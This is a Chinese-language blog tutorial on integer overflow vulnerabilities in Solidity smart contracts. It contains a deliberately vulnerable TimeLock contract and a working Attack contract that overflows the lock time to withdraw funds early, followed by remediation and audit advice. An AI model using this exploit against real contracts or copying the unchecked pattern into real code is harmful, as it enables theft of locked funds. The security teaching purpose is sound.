【区块链安全 | 第三十五篇】溢出漏洞

在这里插入图片描述

溢出

算术溢出(Arithmetic Overflow),简称溢出(Overflow),通常分为两类:上溢下溢

  • 上溢是指在进行数值计算时,结果超过了变量所能表示的最大值。例如,在 Solidity 中,uint8 类型的取值范围为 0 到 255(共 256 个整数)。当我们执行 uint8(255 + 1) 时,结果将出现上溢,最终值为 0,也就是该类型的最小值。

  • 下溢则相反,是指结果小于变量所能表示的最小值。例如,uint8(0 - 1) 会产生下溢,计算结果会变为 255,即 uint8 类型的最大值。

上溢示例

在 C 语言中,unsigned char 最大是 255。

现在我们构造上溢代码:

#include <stdio.h>
int main() {
    
    
    unsigned char x = 255;
    printf("%d\n", x);
    x = x + 1;
    printf("%d", x);
}

可以看到,255 + 1 → 超出范围 → 回绕为 0:

在这里插入图片描述

溢出漏洞

溢出漏洞是指在智能合约中,因数值计算发生溢出而导致逻辑错误的问题。

如果一个合约存在溢出漏洞,可能会使实际的计算结果与预期结果产生巨大偏差,轻则影响合约逻辑的正确执行,重则可能造成资金丢失。

需要注意的是,溢出漏洞具有版本限制。在 Solidity 0.8 之前的版本,编译器不会对溢出行为进行检查,也不会报错,容易被攻击者利用。而从 Solidity 0.8 及以上版本 开始,编译器默认会在发生溢出或下溢时抛出异常,防止此类问题。因此,当我们审计或分析 低于 0.8 版本 的合约时,需要特别注意其是否存在溢出风险。

溢出示例

溢出代码如下所示:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract OverflowDemo {
    uint8 public number = 255;

    function add() public {
    // 在 Solidity 0.8.0 及以上版本中,编译器会自动进行溢出检查
    // 使用 unchecked 关键字可以显式关闭这一检查,从而允许溢出行为发生
        unchecked {
            number = number + 1; // 溢出:结果变成 0
        }
    }
}

在代码中,我们规定 number 是一个 uint8 类型的变量,最大值为 255。

理论上分析:当执行 add() 函数时,number + 1 的结果超出了 uint8 的上限,会发生上溢,结果变为 0。

下面通过 https://remix.ethereum.org/ 在线运行以上代码来展示溢出:

1.打开 Remix IDE
进入网址:https://remix.ethereum.org/

2.新建一个文件
在左侧文件管理器中,创建一个新文件,例如命名为 OverflowDemo.sol。

3.复制并粘贴代码到文件中

在这里插入图片描述

4.编译合约
在左侧点击「Solidity 编译器」图标,在 “Compiler Version” 下拉框中选择 0.8.29。

点击 “Compile OverflowDemo.sol”(编译)按钮。

在这里插入图片描述

5.部署合约
编译成功后,点击左侧的「部署与运行交易」(Ethereum 图标);Environment 保持默认的 JavaScript VM;再点击 “Deploy” 按钮。

在这里插入图片描述

如图,控制台显示部署成功:

在这里插入图片描述

6.调用函数并观察结果
展开下方已部署的合约实例(灰色条):

在这里插入图片描述

点击 number() 查看当前数值,为 255:

在这里插入图片描述

点击 add() 来执行加法操作:

在这里插入图片描述

再次点击 number(),结果变成了 0,说明发生了上溢:

在这里插入图片描述

漏洞代码

现有一 TimeLock 合约代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract TimeLock {
    // 存储每个用户的以太币余额
    mapping(address => uint) public balances;

    // 存储每个用户的锁仓时间(解锁时间戳)
    mapping(address => uint) public lockTime;

    // 用户充值函数,同时设置锁仓时间为当前时间 + 1 周
    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    // 用户可以增加自己的锁仓时间
    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    // 提现函数,要求用户有余额且已过锁仓期
    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds"); // 确保有余额
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); // 确保锁仓期已过

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        // 使用 call 方式发送以太币
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

代码审计

该 TimeLock 合约的设计初衷是实现一个简单的时间锁功能:用户可以通过 deposit 函数向合约存入 ETH,并触发锁定机制,锁定期为一周。用户也可以通过 increaseLockTime 函数延长锁定时间。而用户在锁定期内是无法提取资金的,必须等待锁定时间结束后,才可调用 withdraw 函数提取存款。

我们可以注意到该合约编译器版本为 ^0.7.6,而在 Solidity 0.8.0 之前,算术运算并不会自动进行溢出检查。因此,该合约中涉及到的加法操作可能存在整数溢出漏洞。

我们重点分析以下两个存在加法操作的函数。

1. deposit 函数

balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;

balances[msg.sender] += msg.value这行代码中,攻击者可以传入大量 msg.value,在极端情况下可能导致 balances 值溢出。不过,要实现 uint256 类型的溢出,攻击者必须存入接近 2^256 的 ETH,这是不现实的。因此此处虽存在理论上的溢出可能,但在实际攻击中不具备可行性。

lockTime[msg.sender] = block.timestamp + 1 weeks这里的加法操作中的值是固定的一周(604800 秒),不可控,因此攻击者无法操控其造成溢出。

你可能会问:“如果我每次存入 1 个以太币,锁仓时间就增加一周,那我反复存很多次,会不会最终导致时间溢出呢?”

实际上这是不可能发生的。原因是:通过计算,要触发整数溢出,需要存入的次数高达 10⁷¹ 级别,对应的以太币数量远远超过当前整个以太坊网络的 ETH 总供应量(约 1.2 亿个 ETH)。这在现实中根本无法实现。

2. increaseLockTime 函数

lockTime[msg.sender] += _secondsToIncrease;

这是整个合约的关键漏洞点。

_secondsToIncrease 参数是由用户传入的,完全可控。该参数与当前的 lockTime 相加,而没有进行溢出检查。

如果攻击者传入一个非常大的值,使得结果超过 uint256 的上限,就会发生溢出,从而使 lockTime[msg.sender] 被绕回非常小的值甚至为 0。这样,攻击者可以绕过时间锁限制,立即调用 withdraw 提现函数,提前取出本应锁定的资金。

攻击代码

通过以上思路,可构造恶意攻击代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// 攻击合约
contract Attack {
    TimeLock timeLock;

    // 构造函数,接收目标 TimeLock 合约的地址
    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    // fallback 函数,用于接收从 TimeLock 合约提取的 ETH
    fallback() external payable {}

    // 攻击函数
    function attack() public payable {
        // 第一步:调用 TimeLock 的 deposit 函数,存入 ETH 并初始化 lockTime
        timeLock.deposit{value: msg.value}();

        /*
            第二步:利用 increaseLockTime 函数中的整数溢出漏洞

            - 获取当前合约的 lockTime 值
            - 构造:type(uint).max + 1 - 当前 lockTime
              在 uint256 下:type(uint).max + 1 = 2^256 -1 + 1 = 2^256 ≡ 0 (发生溢出)
              因此相加后结果为 0,从而绕过时间锁限制
        */
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );

        // 第三步:绕过锁定时间限制,立即提取 ETH
        timeLock.withdraw();
    }
}

流程:

lockTime[msg.sender] (锁仓时间)
=
lockTime[msg.sender] + type(uint).max + 1 - lockTime[msg.sender]
= 
lockTime[msg.sender] + (2^256 - lockTime[msg.sender])
= 
2^256 
≡ 
0 (mod 2^256)

block.timestamp > lockTime[msg.sender]用于判断当前区块的时间戳(即当前时间)是否大于该用户的锁定时间,于是我们通过了安全检查,成功实现立即提现。

攻击过程总结

1.部署 TimeLock 合约

2.部署 Attack 合约

3.在 Attack 合约的构造函数中传入已部署的 TimeLock 合约地址,完成初始化。

4.调用 Attack.attack 函数
在attack函数中,首先调用 TimeLock.deposit 向合约中存入 1 个以太币(或任意数量的 ETH)。此时,TimeLock 会将该 ETH 锁定一周,即设置 lockTime[msg.sender] = block.timestamp + 1 weeks。

5.接着,攻击合约调用 TimeLock.increaseLockTime,传入参数:

type(uint).max + 1 - lockTime[address(this)]

即:2^256 - lockTime[address(this)]。由于 Solidity 0.7.6 不会自动检测整数溢出,此操作将使 lockTime 字段发生上溢,计算结果变为 2^256 ≡ 0(模 2^256)。

6.此时 lockTime[msg.sender] 已被重置为 0,意味着锁定时间等于区块时间戳起点(1970 年)。因此,接下来执行的:

require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

判断将始终成立,成功绕过锁仓限制。

7.调用 TimeLock.withdraw,合约允许提款条件被满足,攻击者立即取出刚才存入的 ETH,实现提前解锁提现,绕过了一周的锁定期。

8.如果配合 DeFi 中的价格波动、奖励计算(如利息、奖励分配机制),攻击者甚至可以在锁仓状态下提前领取奖励、套利。

修复建议

1.编写 Solidity < 0.8 的合约时使用 SafeMath 库
在 0.8 之前版本中,Solidity 不会自动检查整数溢出,因此推荐引入 OpenZeppelin 提供的 SafeMath 库,替代原始的 + - * 等操作符,避免常见的加减乘除溢出问题。

2.优先使用 Solidity 0.8 及以上版本
从 0.8 起,Solidity 内置了溢出检查机制(默认开启),大大提高了数值安全性。但需要注意,如果使用了 unchecked 代码块,则会跳过溢出检查。

3.谨慎进行类型强制转换
将较大的数值类型(如 uint256)强制转换为较小的类型(如 uint8、uint32)时,若数值超出目标类型的范围,会自动截断(mod 运算),从而产生溢出风险。因此类型转换前应始终进行显式的边界检查。

审计思路

1.检查编译器版本和 unchecked 使用情况
若发现合约使用的是 Solidity 0.8 以下版本,则默认存在溢出风险,需重点审查所有算术运算;在 Solidity 0.8 及以上版本中,若出现 unchecked 代码块,也需检查其内部的算术操作,判断是否存在隐患。

2.确认 Solidity < 0.8 的合约是否使用了 SafeMath
如果合约在低版本中引入了 SafeMath,说明开发者有防溢出意识;但仍需检查所有运算是否都使用了 SafeMath 封装,避免遗漏。

3.注意类型转换隐患
合约中若存在 uint256 转 uint8、int 转 uint 等类型强制转换操作,应详细检查边界值,避免数值截断引发溢出或逻辑漏洞。

4.实际审计中应结合调用逻辑、传入参数范围以及合约业务场景综合分析。

猜你喜欢

转载自blog.csdn.net/2301_77485708/article/details/147052503
今日推荐